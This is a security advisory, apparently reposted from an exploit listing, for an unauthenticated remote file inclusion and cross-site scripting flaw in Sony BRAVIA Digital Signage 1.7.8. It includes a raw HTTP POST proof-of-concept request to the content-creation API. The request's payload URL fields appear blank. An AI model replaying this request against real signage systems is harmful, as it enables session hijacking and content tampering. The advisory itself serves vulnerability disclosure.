Sony BRAVIA Digital Signage 1.7.8 Unauthenticated Remote File Inclusion

Credit: LiquidWorm
Risk: High
Local: No
Remote: Yes

Sony BRAVIA Digital Signage 1.7.8 Unauthenticated Remote File Inclusion Vendor: Sony Electronics Inc. Product web page: Affected version: <=1.7.8 Summary: Sony's BRAVIA Signage is an application to deliver video and still images to Pro BRAVIAs and manage the information via a network. Features include management of displays, power schedule management, content playlists, scheduled delivery management, content interrupt, and more. This cost-effective digital signage management solution is ideal for presenting attractive, informative visual content in retail spaces and hotel reception areas, visitor attractions, educational and corporate environments. Desc: BRAVIA digital signage is vulnerable to a remote file inclusion (RFI) vulnerability by including arbitrary client-side dynamic scripts (JavaScript, VBScript, HTML) when adding content though the input URL material of type html. This allows hijacking the current session of the user, execute cross-site scripting code or changing the look of the page and content modification on current display. Tested on: Microsoft Windows Server 2012 R2 Ubuntu NodeJS Express Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2020-5612 Advisory URL: 20.09.2020 -- Request: -------- POST /api/content-creation?type=create&id=174ace2f9371b4 HTTP/1.1 Host: Proxy-Connection: keep-alive Content-Length: 468 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Content-Type: application/json;charset=UTF-8 Origin: Referer: Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: io=RslVZVH6Dc8WsOn5AAAJ {"material":[{"name":"","type":"html"},{"name":"C:\\fakepath\\Blank.jpg","type":"jpeg"},{"name":"","type":"external_input"},{"name":"","type":""}],"layout":{"name":"assets/images/c4e7e66e.icon_layout_pattern_landscape_003.png","area":3,"direction":"landscape","layouts":[{"index":1,"width":960,"height":1080,"x":0,"y":0},{"index":2,"width":960,"height":540,"x":960,"y":0},{"index":3,"width":960,"height":540,"x":960,"y":540}]}}

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